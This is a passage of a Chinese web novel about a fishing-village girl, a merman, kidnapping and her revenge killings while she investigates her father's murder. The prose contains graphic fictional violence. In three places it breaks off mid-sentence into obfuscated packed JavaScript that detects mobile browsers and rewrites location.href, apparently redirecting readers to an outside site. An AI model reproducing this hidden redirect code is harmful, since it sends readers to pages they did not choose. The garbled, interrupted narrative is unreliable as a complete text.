“我有一个鲛人。”李海珠停住,不知道如何定义两人的关系,应该算是朋友吧,她继续说道:“鲛人朋友,之后如果有机会可以让他教你。” “鲛人是不会和人类做朋友。”她露出诡异的笑容,“第一个和人类做朋友的鲛人已经死了。” “曾经有个鲛人触犯族规,救了一个溺水的书生,书生见她美貌便求爱,鲛人声称已经有伴侣,书生便说交朋友。” “三年后鲛人孩子生病求药,书生取得信任后迷晕鲛人,将其囚禁于一方死水,鲛人思念家人泣泪成珠,书生心生歹念,想要珍珠换取考功名的盘缠,便对其拳打脚踢,可是鲛人从此再也不哭。” “但书生还是买了不少钱,考中秀才,后面又为了讨好上司,想将鲛人转手,最后鲛人不堪受辱,放了一把大火同归于尽。” 李海珠觉得好耳熟,这不是说书先生性转版,“你是怎么知道的?” “我是书生抓得第二个鲛,还在大火里存活下来。” 幼鲛目裂欲眦,捂着头大笑,“因为害怕死亡,我学会了人类语言,唱歌讨好你们,然后就是不断被转卖,转卖!” 幼鲛笑得几乎疯狂,呕出一口血,脸色变得苍白。 “如果还能回到大海里呢?” 幼鲛笑声突然停下来,随后笑得更大声,“就凭你帮我!” “就凭我。” 腿上的麻绳在来的路上就已经被解开了,只剩下手的,她费力地咬着。 “过来。” 幼鲛给给她解绑,李海珠立刻查看荷包里,看见海螺还在,松了一口气。 她向鲛人说出自己的计划:“门口有护卫守着,到时候你谎称不舒服将人骗进来,然后我将他砸晕,制造混乱趁机离开……” 幼鲛打断她:“用不着这么麻烦,叫那只鲛人帮你,你不是有海螺吗?” 李海珠不明所以,幼鲛阴恻恻笑道:“送你鲛人难道没有告诉你,每个鲛人都有伴生的海螺,他们只会送给认定的伴侣,没想到有鲛人不知死活会喜欢人类。” 当初她误捡鲛人的海螺,璞玉发现了,是想要用金簪交换。 难道他并不喜欢她? 幼鲛看着眼前人陷入沉思,猜测是那鲛人单相思,嗤笑:“对着大海呼喊他的名字,海风会传递到鲛人耳边,如果他喜欢你就会来。” 8. 第 8 章 李海珠决定不喊鲛人。 幼鲛不解:“鲛人可是海上的霸主,你知道他们都是怎么抓鲛吗?都会先找到幼鲛,再来威胁鲛人投降,否则在海上是不绝对敢惹一头成年鲛人。” “这贝壳是我捡的。”李海珠边说边脱下外衣,浸满水包裹着幼鲛,“船上还有其他人,如果这船被鲛人撕碎,那些人也会死。” “我是不会配合你,他们都该死!”幼鲛头偏到一侧,抱胸不妥协。 李海珠早就弄清这只幼鲛的脾气,嘴硬心软罢了。 与其争论,不如直接行动,她换了一副惊慌失措的面孔,拍着门喊道:“鲛人好像生病了,要不要请大夫看一看啊——” “你!”鲛人瞳孔睁大,随即鱼尾一甩,闭眼装晕。 守卫连忙走进查看,李海珠随即关上门,在后面逐渐靠近,用麻绳勒紧脖子,使劲全身力气。 可是男女力量终究是悬殊,眼看守卫要挣脱开,幼鲛也不装死,一爪又一爪挥过去,直到对方再也不动弹,李海珠才放开,喘着粗气,摸了摸守卫的脉搏,已经没气了。 这是她第一次杀人,双手都在抖。 她摸了摸脸上的血迹,来不及陷入恐惧,只是草草擦了一下,抱起幼鲛藏于门后,粗着嗓子大喊:“鲛人她们到甲板上,快来人追啊!” 待全部人走后,她绕到后方打开舱口,顺着梯子爬下去,给何妹松绑。 “求求你,求求你帮帮我们!” 舱内其他人哭喊声一片。 李海珠不予理会,何妹却停住脚步,欲言又止看着她。 “我们救不了所有人。” “可……”何妹恳求地看着她,“这是她们唯一的逃跑机会。” 李海珠垂下眼帘,叹了口气,给其他人松绑:“跟着我,船上有舢板。” “我们不会划船。” “是走是留,随你们便,我不强求。” 李海珠打开舱口,踏上甲板,一看到大海就将幼鲛丢入,再来到船舷旁,将小艇放入水中,让何妹先上船,她再上。 突然有人从后面抱住她的腰,死死抓住不放,“你们的船还有位置,让我上去吧!” 谁也知道跟着李海珠生还的机会最大,这一句犹如石块投入水潭中,不断向外荡起波纹。 “让我上去!” “让我上去!” 全部人都扯住她的衣服,苦苦哀求。 声音引来绑匪,大喊:“她们在这里!快来!” 无数双手往后拽她,犹如索命恶鬼,眼睁睁看着绑匪越来越近。 她轻嘲,人还是不能大发善心。 现在似乎只有一个办法。 李海珠紧闭双眼大喊:“璞玉——” 没有动静,海面依旧是空茫寂寥,鲛人并没有出现。 原来一切都是她自作多情。 绑匪近在咫尺,特别白脸男人的眼神似乎想要活剥生吞了她。 所有人都被控制住,白脸男人逐渐走进:“我最值钱的玩意你放跑了,你想怎么死?” 李海珠知道这次肯定是在劫难逃,她回头望着冰冷的海水,反正都是一死,死在大海里,还算是和爹娘团聚了。 只是不甘心啊! 不甘心轻易死去,死在最讨厌的地方啊! 突然轰隆一声,船体剧烈摇晃,众人跌倒在地,她也没有站稳,从船上跌落。 没有意料之中的刺骨寒意,而是温凉的触感。 一双青筋交错的手,稳固而有力抱着她,悬在海面上,与波涛汹涌的海水隔开。 是璞玉。 她顺着鲛人锐利的下颌线看去,嘴唇紧抿,高挺的鼻梁,眼睛目视前方,曾经觉得无害的双眼蕴含着杀意,似乎在看微不足道的蝼蚁。 李海珠从来没有见过这样的璞玉。 船上的人大叫:“是鲛人!是鲛人!” 而此时他们已经没有幼鲛。 “你……”李海珠欲言又止,最后道:“多谢你。” 鲛人低头看她,眼里如冰化水般温和,以为她碰到海水,将人往上抬高过顶。 李海珠觉得这样特别怪异,但又不敢出声,怕鲛人误会意再抬高。 他游到舢板旁,将人放进去,然后掉转追上那艘大船。 那艘船再快又怎么能比得上鲛人,很快鲛人到达船尾,利爪蓄力一击,不断有人像下饺子般掉下,肉眼可见龙骨裂开缝隙,整艘大船岌岌可危。 终于明白那句话,鲛人是海上的霸主。 “咔嚓”一声巨响,龙骨断裂,整艘船被撕成碎片,海面上不断有人呼救,哀求声响遍海域,可一个浪花打过去,又归于寂静。 李海珠漠然地看着这一切,不会有任何怜悯,之前的善心差点害死了她。 何妹浑身颤抖,却也没有说救人。 两人沉默地划着桨,突然有股前进的推力,鲛人不知道何时游过来,修长的手指握住木板边缘,帮她们往前走。 何妹下意识往后退,李海珠恐水没有什么精神,只是淡淡道:“他很好,别怕。” 她们不知道这在哪里,只能靠鲛人带着走,舢板又不能走得太快。 暮色渐深,三人来到一处岛屿歇脚。 李海珠胃里翻云覆雨般难受,手攥成拳头,头上冒出细密的冷汗,何妹拍了拍她的背,“你先歇着,我和鲛人去找吃的。” 她也知道现在只能这样,坐在石滩上休息,好不容易才缓过劲,发现旁边有道阴影,吓一跳。 是幼鲛,他并没有走,蓝眼睛阴沉沉道:“那个鲛人就是给你海螺的?” 见人不出声,幼鲛吼道:“他不配得到幸福,不配有人跟他共度一生!” 李海珠原本精神不济,并不想多说,但这句话着实让人生气,压住脾气道:“他替你报了仇。” “我才不稀罕,还记得我给你讲的故事,里面的鲛人就是他的母亲,他们是鲛人族的罪人,罪人!” 李海珠从小在村子不受待见,习惯听到什么过分的话都平静对待,再找时机报复回去,可是现在她莫名不想忍了,反正幼鲛也不能上岸揍她。 “我不知道你们族规有什么,但当时他母亲救人没有错,为子求药没有错,谁也无法预料接下来会发生什么,只是做出当时觉得最正确的选择,错的是书生,而不是他们!” 沧冥打食回来,看到两人在争吵,虽然不知道在吵什么,但隐约猜到和自己有关。 每个侥幸逃出的鲛人都会恨他,哪怕是曾经觉得他无错的鲛人。 “%¥#。” “你说什么!”幼鲛瞪着他。 沧冥在道歉。 每次族长都会让他低头认错,告诫道:“你要恪守族规,不能再像你母亲一样。” “%@&。” “我都说了听不懂!” 幼鲛怒吼,朝着他冲过来,手化为利爪刺进鲛人腹部,鲜血融入海水消失不见。 沧冥身形一顿,克制住反击的本能,头上青筋暴起,闭上眼睛引颈受戮。 一如当初那些鲛人愤怒地冲过来,他也没有躲。 幼鲛怔然,回过神继续往里捅,吼道:“你以为这样就会原谅你,就怪你母亲不守族规,和人类交往过密,危及全族人,如今还喜欢上一个人类!你有错!你有罪!” 沧冥没有吭声,他察觉到幼鲛听不懂鲛人语,更不会说鲛人语。 李海珠被现在的场面惊到,游到海面上推开幼鲛,大吼:“不准伤他!” 沧冥被护在身后,眼前人语气激昂,听起来很愤怒,好像是为了他。 这种想法如惊涛骇浪般击打着他,心跳得更快了。 沧冥眼里闪过迷茫,忽然几缕发丝擦过下颌,痒痒的,他手指微曲,似乎想要伸出来抓住,又猛地绷直,逃似的往后退。 过了很久两人的争吵才停止,以幼鲛失败告终,气冲冲要离开。 沧冥单手提起幼鲛,不让他离开,幼鲛没有成年鲛人庇佑在海里很危险。 “王八蛋,快放开我!” 幼鲛挣扎着,却没有任何用处,只能引来李海珠一瞪,“闭嘴!” 李海珠现在腿发软,果然逞英雄是有代价的,那该死的感觉又来了,头开始发昏。 突然一只手握住她的腰,隔着湿透的布料用力,李海珠整个人离开水面,水花飞溅,视野升高,她下意识想抓住旁边的东西,却发现摸到一头顺滑的蓝发。 她坐在鲛人的肩膀上。 “……你……”李海珠耳根发红,竟说不出一点话。 鲛人那双眼睛好看到过分,抬头看她,身体又往上升,不让她沾到一点海水。 李海珠重心不稳,连忙抓住鲛人的头发,脸红透:“好了,好了。” “能不能管管我的死活,我缺水啊!”幼鲛脸憋得通红,“我不跑了!快放开我!” 鲛人听不懂,但也发现幼鲛脱离水面,最终选择放开幼鲛。 幼鲛气哼哼跟在后面,三人来到岸边,鲛人将人放下。 岸上早就放着海鱼,还在活蹦乱跳,李海珠只是看了一眼,转身正对鲛人,指了指他腹部的伤。 鲛人摇了摇头,似乎表示不要紧。 幼鲛在旁边冷嘲热讽,“哟,心疼了,都说了没有伤到护心鳞,伤口要不了多久就会愈合。” 李海珠又瞪了幼鲛一眼,幼鲛做了个鬼脸。 正巧何妹拾柴火回来,手上还摘了野菜,看见岸上的鱼一愣,走到李海珠旁边道:“鲛人那爪子多锋利,能不能叫鲛人处理一下鱼。” 李海珠刚想答应,突然反应过来,“为什么要专门叫我去?” 何妹靠近她,小声道:“别装。” “那些鱼都是你喜欢吃的,而且长得好看,声音好听,都对上了,就是有没有钱我还不知道。” 李海珠羞得想找个地缝躲起来,“我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李海珠指了指腹部问:“璞玉,你伤愈合了吗?” 鲛人摇了摇头,看着她皱眉,又点了点头。 她扶额,怀疑鲛人根本没有听懂,于是示意鲛人露出腹部。 鲛人没动。 李海珠撸起袖子,看来还是要动手拖,还没有碰到鲛人,他就像是触电般游走。 “你跑什么!” 她一着急,不小心绊到石头,重重倒在沙滩上,膝盖摔得青紫,火辣辣的痛意席卷而来。 都怪鲛人,我以后再也不管他,李海珠愤愤地想着。 鲛人却不知道什么时候游回来,目光落在她的膝盖上,嘴唇紧抿。 李海珠不想看他,换转了一个方向,鲛人又游过来。 真讨厌! 她站起,一瘸一拐地往外走,突然衣袖被扯住。 “%@&。” 李海珠听着耳熟,鲛人也对幼鲛说过,两个场景结合在一起,这句话好像是在道歉,心里那股说不明白的郁气突然消散了一些。 “%@&。” 鲛人松开她,又说了一句。 李海珠回过头,鲛人因为要拉住她,上半身露出水面,可以看见腹部的伤口极深,依旧流着血。 她更气了,骗子! “%@&。” 还是个笨蛋。 李海珠觉得自己的心肠还是太软了,她撕开衣服下摆的布条,示意鲛人过来。 鲛人犹豫片刻,坐在礁石上,一半的鱼尾沉入海中。 李海珠俯身擦拭他伤口旁边的海水,不知道人治疗外伤的法子,对鲛人起不起作用。 鲛人身体紧绷,作势要游走,却被李海珠按住,“别动!” 思及鲛人听不懂,又想起是因为她摔倒了鲛人才回来,便有一计涌上心头,李海珠大概知道怎么应对鲛人了。 装可怜她最擅长了,眼泪簌簌地落下,滴落在鲛人手背。 鲛人手指轻颤,似乎是认命般垂下。 李海珠装作擦眼泪,实际往前偷瞄。 鲛人不敢动弹,睫毛如蝶翼般抖动,肌肉随着呼吸上下起伏,呼吸变得沉重。 果然鲛人吃这一套,嘴唇不经意勾起。 鲛人是大海的霸主,哪怕是漆黑的夜晚,也能看清楚任何细微变化。 当然也包括那抹不易察觉的笑容。 李海珠是装的。 他得出结论,却还是没有离开。 因为太吵了。 不是海浪拍击礁石的巨响,不是寒风凛冽的呼啸声,是这里。 他捂住胸口,心好像都要跳出胸廓,这里太吵了。 从被她呼唤过来就开始了。 他想这具躯体坏掉了。 9. 第 9 章 李海珠和何妹走上岸,两人约定绝对不透露鲛人的存在,只说趁看守不注意逃出来。 刚走到村口,看见两人抬着裹着旧草席的长条物件从远处走来,见到她们讶异,连忙大叫:“快来人啊!是何妹和那外族生的回来了!” 待到有人跑来,那两人继续抬着朝外走,草席的缝隙里,垂下一只沾满血污的糙手,随着走动而摇晃。 姑姑抱住李海珠,泪流满面:“还是全乎的。” 旁边何母含泪打了何妹一巴掌,“叫你跟这个外族的来往,现在可就惨了。” 姑姑一听到火冒三丈,喝道:“何氏,别什么屎盆子就往我家海珠上扣。” “我说错了吗?我家那么乖巧的孩子,硬生生被这外族生的给拖累了。”何母越想越生气,“要不然那吴家怎么会来退亲。” 何妹呆愣在原地,过了好久才扯住何母的衣角,“吴三斤亲自来的吗?” 何母抱住她哭,“原本那样的人家,我们孤儿寡母也高攀不起,之后再寻个好的。” 何妹眼中的光消散,李海珠下意识想要走上前,却被姑姑拉住。 两人走回家,姑姑关上门,低声说:“你老实跟我说是怎么回事!” “不是都说清楚,侥幸逃了出来。” “我说这个!”姑姑从怀里拿出金簪,“怎么回事?谁送的,可不要被骗了!” “别人送的。” “别给我打马虎眼。” “那样有钱的人家绝对是高攀不起,想要让你当外室,听姑姑的跟他断了。” “我知道。”李海珠闷声说。 她拿回簪子,走出姑姑家,遥望向那片汪洋大海,握紧袖口的物件,冷硬得没有一丝温度,心里颤了颤。 这一切都交给天意。 如果下一次见面,还送鲛绡,她就答应。 金簪尖端划破她的指腹,留下细小的伤痕。 她知道这不可能。 暮色降临,万籁俱近。 一道人影翻墙入内,悄悄推开门,手中拿着一把泛着白光的杀鱼刀,望向床上隆起的背影充满恨意。 他举起双手狠狠刺去,不料落了一个空,打开被褥,里面是一个枕头。 正要朝四周望去,后脑勺被重重一击。 李护柱再次醒来,被五花大绑在木椅上,无论怎么挣扎都没有用。 长桌上放着蜡烛,火光忽闪忽现,黑烟从上面升起,空气中充满刺鼻的糊味,这种蜡烛只有李海珠一家用。 女子坐在长凳上,大半张脸都隐入阴影中,垂下眼,玩弄这手里那把杀鱼刀。 见他挣扎眼皮都不抬,待到对方力竭,轻轻瞥一眼,“为什么杀我?” 李护柱气急败坏道:“李海珠你这歹毒小人,和别人联起手算计我,还装无辜问为什么?” “林渔娘呢?” 李护柱冷笑:“那个水性杨花的贱人早就死了,今早下的葬,你没看见吗?” “怎么死的?” 李海珠面无表情靠近,刀刃轻拍眼前人的脸颊。 “一尸两命。”李护柱脸上是疯狂的笑意,“要不然我还不会发现这个小贱人……” 刀划破皮肤,猩红的血顺流而下,他痛呼出声,又无可奈何,只能狠狠地盯着始作俑者。 “现在还不到早产,你弄的?” “不是。”李护柱眼神闪躲,不断扣挖着指腹,从小他撒谎就是这样。 也不用再多说什么,李海珠转头拿出一块破布,手中的刀被磨得锃亮。 李护柱像是嗅到不详的味道,眼神变得恐惧,“你要干什么!李海珠!” “杀你。” 轻描淡写一句话,李护柱却舒了一口气,阴阳怪气道:“小时候连鱼都不敢杀,现在还杀人了。” 李海珠笑了一声,继续手中的动作,语气似乎是在和人闲聊:“为了活命,我杀了一个人,他该死但我还是会害怕,以至于之后整晚都睡不着,但不想任何活人知道,你很不幸。” “人都是会变的,你也是,我也是。” 她掐住嘴,将布料塞进嘴里,在最后一刻却停下,不可置信后退两步,“你说什么?” “我说李老大是被杀害的!” 李护柱眼神恐惧,身体发抖。 李海珠平复好心情,沉声道:“别骗我,否则你会死得很惨。” 有疤痕的侧脸暴露在烛火中,她冷冷打量着眼前人,似乎在估量话的可信度,“杀人凶手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206380|197359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁?” “你放了我,我就告诉你。” 李海珠细细观察着他的表情,半晌之后笑了,“撒谎?” 手中的刀尖对准眼前人,从眼睛滑至脖颈,往皮肤压了压,露出一道浅浅的血痕,“以前你杀鱼都要用刀背拍晕,看在往日的情分上不会让你走得太痛苦。” “我虽然没有看到是谁,但李老大就是他杀。” 李海珠抬了抬下巴,让他继续说。 “我和林渔娘幽会时,看见一个人影在李老大的渔船旁边打转,等人走后,我上前看见渔船底部有个小孔,用鱼胶封住。” 鱼胶遇水会慢慢软化,等待远离海岸才能发现,到时候只能听天由命,此计可谓是歹毒! 李海珠嘴唇打颤,眼眶里闪过泪花,冷声道:“所以你就当作什么都没有看见,我爹可是救过你的命!” 她抬了抬头,上半张脸落入阴影里,脸颊出现一道泪痕,语气冰冷:“那你去死。” 没等人说话,布料全部塞入李护柱嘴里,手持刀柄猛砍。 鲜血溅在她的头发,脸上,甚至有几滴掉入眼里,却是睫毛都没动,直勾勾地盯着眼前人,如一头被惹怒的母狮。 “这一刀是为我爹。” 李海珠又砍下一刀,“这一刀是为林渔娘。” 下一秒刀瞬间割破喉咙,血如喷泉般涌出,“给你一个痛快,算是全了小时候情分。” 她面无表情擦洗到所有痕迹,将人分成几块装入袋中,丢进去海边的暗流。 海面广阔无垠,什么都能够容纳。 李海珠心中茫然,不知道怎么查下去,鱼胶家家户户都会有,谁会是杀害爹的凶手? 爹,你的在天之灵会庇佑我的,对吗。 鲛人突然浮出海面,望了一眼还没有沉下去的布袋,又望着李海珠,游到装尸块的袋子旁,扯着往深海游,没过多久又回来了。 李海珠站在海边,整个人都在陷入阴影中,看不清眼底情绪。 一张透亮如海的鲛绡递过来,李海珠身体晃了晃,抬头,露出那张素净的脸,泪水在眼眶打转。 呆呆地望着那块鲛绡,那滴泪最终还是落下。 她想,这也许就是命运的安排。 10. 第 10 章 李海珠看着眼前人,脑海里突然想到办法。 之前只是摸了龙涎香,鲛人能够从手上闻到,那是不是也能从海中找到爹娘的尸体。 她闭了闭眼,现在只能死马当活马医了。 身上没有多余的东西,只有海螺从不离身。 李海珠拿出海螺,埋在附近的沙子再找出来,又埋在旁边的地方,抬头示意鲛人。 鲛人垂下眼,拿出海螺。 应该是听懂了。 她大喜,叫人等着,回家取爹娘生前的衣物。 这些衣服被服帖地折叠在大箱子里,箱子表面没有一丝灰尘,看得出来平时有在用心打理。 李海珠重新回到岸边,叫鲛人闻了闻爹娘的衣物。 鲛人潜入大海,李海珠每日在岸边焦急等待。 第一日,没有找到。 第二日,没有找到。 第三日,没有找到。 …… 第四十一天,依旧没有找到。 海面寂寥到一眼望不到头,李海珠想,也许自己太过异想天开。 但说不出半句让鲛人停止寻找的话。 她撑着下巴,坐在礁石上等鲛人,今日会有奇迹吗? 鲛人浮出水面,依旧是摇了摇头。 李海珠垂下头,收敛眼中的情绪,刚抬起头一块鲛绡递过来,她偏过头:“不要,天天就知道送鲛绡。” 鲛人迟疑了一会儿,僵直地坐在礁石上,李海珠不明所以。 她瞧了好一会儿,才恍然大悟,这不是上次假哭要求鲛人这样。 鲛人赤裸着上半身,脊背挺直,腰腹紧绷成一条直线,似乎是在强忍什么。 李海珠噗嗤一笑,要是现在不干些什么,倒显得她不解风情了。 手触碰上鲛人湿漉漉的头发,察觉到对方已经硬成一块木板,不由得又笑了一声,更加肆意。 鲛人透蓝的耳鳍透着粉红,鱼尾在水中荡起波澜,他闭了闭眼,没动。 这时李海珠已经给人扎了个辫子,穿插在柔顺的头发中,像贝壳里一串串珍珠。 “你真好看。”李海珠顿了顿,“说的是你的头发。” 不知道是不是她的错觉,鲛人眉心的那朵花苞似乎打开了一点。 李海珠好奇地想要摸一摸,却是被避开,好像是什么宝贝一样不让人碰,她眼珠子转了转,哎呦一声哭出来。 但这次就连假哭也没有用,鲛人逃似的跑走。 李海珠撇嘴,眼中带着三分不解七分好奇,在海边等了一会儿,确定人真的走了,才转身离开。 殊不知人走后,鲛人浮出水面,遥望着她离去的背影又潜下去。 李海珠回到家中,看见有人在门口等她。 何妹一改往日的鲜丽衣裳,穿得十分素净,盈盈站立在那里。 李海珠目光闪了闪,自从上次回村,何母三令五申不允许两人再有往来,甚至不惜以死相逼。 两人已经很久没有见面了。 何妹率先走上前,“我要成婚了。” 没等人继续说话,又道:“是你姑父的侄儿,人看起来不错。” 李海珠嘴唇蠕动,最后脱出几个词,“恭喜。” 两人曾经约定各自成婚,要为对方添箱,她的早就备好。 只是现在对方还想要吗? 突然一双手递到她面前,张了张手心,“今儿就是来要贺礼。” 见李海珠站着没动,何妹叉着腰:“你不会忘了吧。” 李海珠抬眸,露出清浅的笑容,眼如水波,“等着。” 没过多久,她拿出一个缠枝花卉圆盒,里面有脂粉,眉黛,香料等等,大大小小整齐地摆放在里面。 “颜色都是你喜欢的。”李海珠递过去,“惟愿你事事顺畅,平安喜乐。” “下月初十,我会涂着这个出嫁。” * 初十。 村子里敲锣打鼓,两人抬的花轿子摇摇晃晃绕着村子走,一身大红袍的新郎官走在前头,旁边有人散着喜糖。 风吹开轿帘,隐约看见新娘盖着红盖头,抖动之间露出鲜艳的红唇,脸颊还残留着两道泪痕。 众人接过喜糖,津津乐道。 “是何家的出嫁,要说何妹可是咱们村里数一数二的俏丽姑娘。” “可不是,要不是出了那档子事,可轮不到吴狗剩。” 吴狗剩虽说品性还算过得去,但实在太穷,家中只有年久失修的破茅草屋,连租轿子娶亲就花了大半积蓄。 花轿从面前走过,逐渐远去,拐了一个弯再也看不见。 李海珠站在角落里,和众人一同散去。 走到海岸,她打算去海边挖野生蛏子补贴家用。 浪花卷起又退下,鲛人支着身子张望,看起来早已等候多时。 李海珠轻哼了几声,假装没有看见,自从上次离开,这是鲛人第一次来到岸边。 之前七分的好奇便变成十分不满! “李海珠。” 鲛人低沉悦耳的声音响起,李海珠偏走到另一块地,蹲下挖蛏子。 “李海珠。”鲛人语气带着焦急。 李海珠心里松动,还是不理人。 “李海珠,李海珠……”鲛人不断重复她的名字。 李海珠有点小纠结,这鲛人叫得那么大声,不怕把人引来,于是她撇了撇嘴,决定大发慈悲理一下他。 “说。” 鲛人指了指她的海螺。 李海珠瞳孔微缩,像是被钉在原地,久久回不过神。 最后缓缓抬头,声音干涩,甚至带着细微的哭腔,“爹娘找到了?” 鲛人又指了指海螺,带来两具尸体放在岸边。 两具尸体极度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也只能是最后一次。 * 一年一度的海神祭。 村里在海边搭起台子,请了一班子人来唱大戏,族老带着众人三跪九叩行礼,并恭颂祝词,最后焚烧祝文和丝帛沉于海水。 李海珠迫不及待暗自离席,来到鲛人身边问结果。 鲛人手指前方,李海珠顺着他的方向看去,出现一个意料之中的人。 指的是林氏。 “是她杀害了爹?” 旬升在一旁翻译,鲛人摇了摇头,是那具女尸。 这如一道惊雷炸在她的脑海,娘不是殉情吗? 明明还亲自给她写了遗书,怎么会是这样? 11. 第 11 章 村口坐着一群人,围坐着清理海鱼,相互交谈议论。 “听说了吗?海神祭那天冲出两具尸首,正是李老大和那外族的。” “那外族生的还称爹娘托梦,说是死另有死因。”讲话的那人压低声音,“是有人谋杀。” 众人惊骇,纷纷讨论是谁。 有眼尖的瞧见远处走来一个人,朝那人打招呼,“林氏,今儿又去听戏了。” 林氏脸色并不好,只是勉强点了点头,强笑回应,脚步加快走回家。 回家灌了一口水,她才重重坐下,举止慌乱。 突然像是想到什么,捞起衣袖,露出手臂上的抓痕,已经结痂掉落,只有浅浅的白色印记。 远处传来哀乐,似是有人出殡。 她连忙遮住手中痕迹,满院子找活计做,似乎是要抑制住心中的慌乱。 站起来却是脑袋昏沉,一股困意袭来,她走到里屋,趴在床上不知不觉睡去。 再次醒来,天色已晚。 她早已饿得前胸贴后背,端着蜡烛,去灶房烧火做饭。 刚踏进去就碰到黏腻的湿意,捧着烛火往前一照,是绵长的血迹。 她惊得连连后退,腿软跌倒在地,发现地面上都是血迹,更是心神恍惚。 “林氏。” 飘渺的女声响起,“你为何要杀我?” “我……”林氏整个人像是从水中拎出,吓得大汗淋漓。 “你是因为嫉妒我和李老大成婚,故意杀害我?” 林氏怔了几秒,突然笑了,“李海珠出来,别再装神弄鬼。” 见人没有出来,又道:“我不像那些长舌妇敬鬼神,我这人不信这些。” 林氏话语一转,“难道你不想知道你娘去世的真相?” 一双绣花鞋从角落走出,修长的身影逐渐走进,黑夜中露出那张面若寒霜的脸,带着蚀骨的恨意。 林氏眉尾上扬,神情得意极了,“你倒是料错了,你娘的确是自杀。” “但和你脱不了关系。”李海珠冷眼道。 她从衣袖拿出一根红绳,上面缀着珠子,打发很繁琐精致,看得出做这个的人是十分费心。 林氏眼神一变,“你怎么有我儿的东西。” “当然是在我手中。”李海珠晃动着手中的红绳,气定神闲地说道。 见林氏迟疑,似乎并不相信,她又道:“有你儿子给我娘陪葬也是值了。” 她毫不犹豫转身离开,心中暗数五秒,意料之中的呼喊声便传来。 嘴唇微勾。 “说。” “你娘的确是自杀,想要为你爹殉情。” “还是不说实话。”李海珠冷着脸,逐渐走进,掐着眼前人的下巴,“你以为没有依据,我会来找你?” 皮肤留下红色指痕,李海珠松开,拍了拍她的脸,“看来也不是很在乎你的儿子,那他只有死。” “不要走!” 眼前人疾呼,深呼了口气,道:“我知道你爹是被害的,将这个真相告知你娘,劝她早点殉节,也为你博个好名声,否则孤儿寡母怎么在渔村生活下去。” 林氏冷哼了一声,“岂料她不识好人心,和我打起来,最后还不是跳海了。” 原来一开始娘没想丢下她,李海珠拳头紧握,心中翻云覆海,面上却是不显。 她问:“你是怎么知道我爹被害?” “我看到了。” “何时何地看到?”李海珠步步追问。 林氏头上冒出细密的汗珠,支支吾吾说不出话。 “和你那个野男人有关?” 在林氏喝下迷魂药后,她便将这里仔仔细细探查了一遍,发现在木柜夹层里藏着男人的衣裳。 这原是很正常的事情,可偏偏要藏在夹层,显得欲盖弥彰,她又仔细瞧了瞧,这衣裳太大了,依稀记得林氏亡夫身材矮小,身量并不大。 村子里皆夸赞林氏是节妇,没想到私下和人暗通款曲。 林氏慌乱过后,抬高下巴,“对,是他看见告诉我,但你来晚了,人早就已经死了。” “怎么死的?” 林氏摊手,“露水情缘,我怎么知道?” “你最好没有骗我。” 林氏冷哼:“我儿子的命在你手中,骗你干什么。” 突然听到吱呀一声,原本锁上的木门被打开,传来窸窸窣窣的脚步声。 李海珠透过窗纸看,眉头紧皱,转而又舒缓开来。 什么也没做,任由人走进。 灶房的门被推开,一道矮小的身影出现,此人正是林氏的儿子。 林氏大喜,赶紧躲在儿子身后,伸出脑袋,“你这不要脸的贱女人,敢诈老娘,现在我儿子回来了,你死定了!” “你怎么来了?” 不是对林氏说,而是对她身前的男人。 林氏明显愣住,不可置信地盯着从小养育的儿子。 依旧是熟悉的面孔,却又觉得格外陌生。 林氏的儿子躲开视线,常年躲避债务,整个人灰头土脸,眼珠子却依旧透露着奸滑,讨好地冲着李海珠笑。 “您当时只是说要买我身上的物件,可并不知道是为了逼问我娘。” 林氏眼里流露出希望,可下一句话将她打入地狱。 “那可不是一样的价钱。” 李海珠扫过这两人,冷笑道:“我买你杀了她,一根金簪的报酬,足够你还清赌债,还能重新去赌。” 林氏的儿子迟疑,没吭声。 林氏一看情况不对,喊道:“杀了她,金簪就是我们的!” “我要是死了,那根金簪的下落你永远都不会知道。” 最终林氏的儿子动了。 他拿起搁置在案板上的菜刀,高举着走向林氏,林氏连连后退,唤他的小名哀求。 他痛哭流涕,“别怪我,要是还不上债,那些人要剁我的手臂,让我变成一个废人。” “娘,你最疼我,必然会帮我,帮帮我!” 伴随着哭喊声,林氏倒在血泊中,两眼睁大,死不瞑目,一行血泪从眼角流出。 同时一把刀冒着寒光,砍向林氏儿子的后颈,他捂着脖子转身,迎面而来的是又一次重击。 “你也去死,不忠不孝的东西。” 那一刀直接割破大动脉,血如喷泉般流出,李海珠半截衣裳全是血迹,湿意浸透到皮肤里,转化为刺骨的寒凉涌上心头。 没有谁是赢家。 * 黄纸漫天飞舞,升到空中化为灰烬,落在飘扬的发丝。 少女跪在墓碑前,手中黄纸被面前的火焰吞噬,呛鼻的烟味扑面而来,她眨了眨眼,泪水在眼中打转。 李海珠擦去墓碑上的灰尘,一寸又一寸擦干净,抚摸这冰冷的刻印,道:“爹娘,我来看你们了。” “女儿真的很没用,这么久还是没有找到杀害爹的凶手。” 她有意将爹是被杀害的消息告诉众人,没有人露出异常,线索直接断掉。 李海珠垂下头,又道:“但女儿不会放弃,定会叫所有伤害我们的人死无葬身之地。” 